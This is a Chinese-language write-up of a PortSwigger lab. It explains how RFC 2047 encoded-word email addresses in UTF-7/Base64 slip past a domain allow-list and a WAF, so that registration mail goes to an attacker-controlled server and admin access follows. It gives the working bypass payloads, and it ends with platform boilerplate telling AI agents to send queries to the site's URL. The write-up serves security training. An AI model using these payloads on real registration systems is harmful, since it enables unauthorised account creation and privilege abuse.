> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/business-logic/bypassing-access-controls-by-inconsistent-parsing-of-email-addresses.md).

# 通过对电子邮件地址的不一致解析绕过访问控制

通过对电子邮件地址的不一致解析绕过访问控制，PortSwigger Web Security Academy 实验笔记，包括利用流程、载荷测试、Burp Suite 验证以及修

### 利用电子邮件地址解析差异绕过访问控制

#### 实验描述

本实验实现了电子邮件地址验证，以防止使用未授权域进行注册。 / 但是，应用端的验证逻辑与实际用于解析电子邮件地址的库之间存在不一致。

利用这种解析差异，可以在绕过授权域限制的同时使用外部电子邮件地址注册，然后访问管理员功能并删除用户 **carlos**.

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3c7e44c81befe43f141086d89a169934854990f0%2F%7BA30B519C-BDA0-4443-9FDD-5282BFBEA35E%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### 注册限制

当尝试使用如下经典地址注册时：

```
test@jord4n.pro
```

应用程序拒绝注册，并提示只有属于以下域的地址才被允许：

```
ginandjuice.shop
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-027e5e6211f0bddfa97b4f8b4abcc9b0bc1d4a6e%2F%7BA5BD5BEB-EF19-4914-93F5-E61D00C9502C%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

使用该域进行合法注册后会触发一封确认邮件：

```
请检查您的邮箱以获取账户注册链接
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ef2d6fec79a071ddc7b045f2307f3dbb45a70d1e%2F%7B60489A7B-5F54-45E9-A387-952C9FE53DB8%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

因此，需要收到这封邮件才能完成注册。

#### 漏洞来源

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1c79721eb7c558d70d2f79d7e8225b8ba1f592d3%2Fimage%20(194).png?alt=media" alt=""><figcaption></figcaption></figure>

该缺陷基于使用了一个 **编码字** （RFC 2047），其格式如下：

```bash
=?<charset>?<encoding>?<encoded-text>?=
```

该机制允许对电子邮件地址的某些部分进行编码。

应用程序的验证器会拒绝某些编码，而最终的邮件解析器却能正确解释它们。

#### 初始阻止

一个使用 UTF-8（quoted-printable）的简单编码尝试被 WAF 阻止：

```bash
=?utf-8?q?=61=62=63?=@ginandjuice.shop
```

答案

```bash
出于安全原因，注册已被阻止
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8fa2e9cab5503a47efeb6d69465c55152f18d171%2F%7B325666A1-4BCE-4A2E-9FE4-FB626AD43AE9%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### 绕过技巧

为了绕过该过滤， **使用 Base64 的 UTF-7 编码** 被使用。

原理：

* 将一个字符编码为 UTF-16

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c6dcfd3f23f4442c24715358e30cacd0d9fabee2%2F%7B6A6E4381-B010-4CA5-AC1A-F12DA40DA498%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* 将此结果转换为 Base64

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f372cb54f866c134e23c1ae203bb82d15a720432%2F%7BAF647B10-FDF7-4366-A51A-81F8C1C9BA3A%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* 在 UTF-7 编码字中使用

字符编码示例 `一个`:

* UTF-16 → Base64： `AGE=`

最小可用负载：

```bash
=?utf-7?&AGE-=?=@ginandjuice.shop
```

该值会被验证逻辑接受。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b7863f9b2d3bc553f2f4b30b2920955bda491dad%2F%7B39966655-6720-4B2A-81DA-139FCC8A9824%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### 使用受控地址的完整操作

攻击者地址：

```bash
attacker@exploit-0ad8006c04c7300d8050fcb8013600a0.exploit-server.net
```

负载构造：

* `&AEA-` 表示 `@`
* `&ACA-` 表示一个空格，从而避免对最终域进行严格解释

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6d15dd92299198ddd3da2de69fb2419d4334a670%2F%7B5B9D15F5-8F74-45F9-B06F-B4482B9CD336%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

注册时使用的最终负载：

<pre class="language-bash" data-overflow="wrap"><code class="lang-bash"><strong>=?utf-7?q?jordan&#x26;AEA-exploit-0ad8006c04c7300d8050fcb8013600a0.exploit-server.net&#x26;ACA-?=@ginandjuice.shop
</strong></code></pre>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-43f4da9b3e2a5d2c4ea396e17515b265aaabefd2%2F%7BCE5D56A6-DCDF-48F9-A659-2663DA9DAD33%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

邮件服务器实际解析的地址：

```bash
jordan@exploit-0ad8006c04c7300d8050fcb8013600a0.exploit-server.net @ginandjuice.shop
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9d763ece6d2affda0def05154022315550977b56%2F%7BDF3E8F90-B1D8-4847-8AAD-CE383A0B9E27%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### 结果

* 应用程序会验证该地址，因为它以 `@ginandjuice.shop`

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-59dd4ee3c7dca7babb0d3630d132a1521a14ee8a%2F%7B5F863F7F-DE66-4C63-B07F-D8DEDD642BEA%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* 邮件服务器将邮件发送到攻击者控制的地址
* 已收到确认链接
* 注册成功完成
* 已获得对应用程序的访问权限
* 可以执行管理操作，包括删除用户 **carlos**

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-807a4c6e6b4171cd05c3be4aa9db39cb3f7659ab%2F%7B0F9E86D6-7510-45AB-A85D-39F085EA0BB1%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/web/business-logic/bypassing-access-controls-by-inconsistent-parsing-of-email-addresses.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
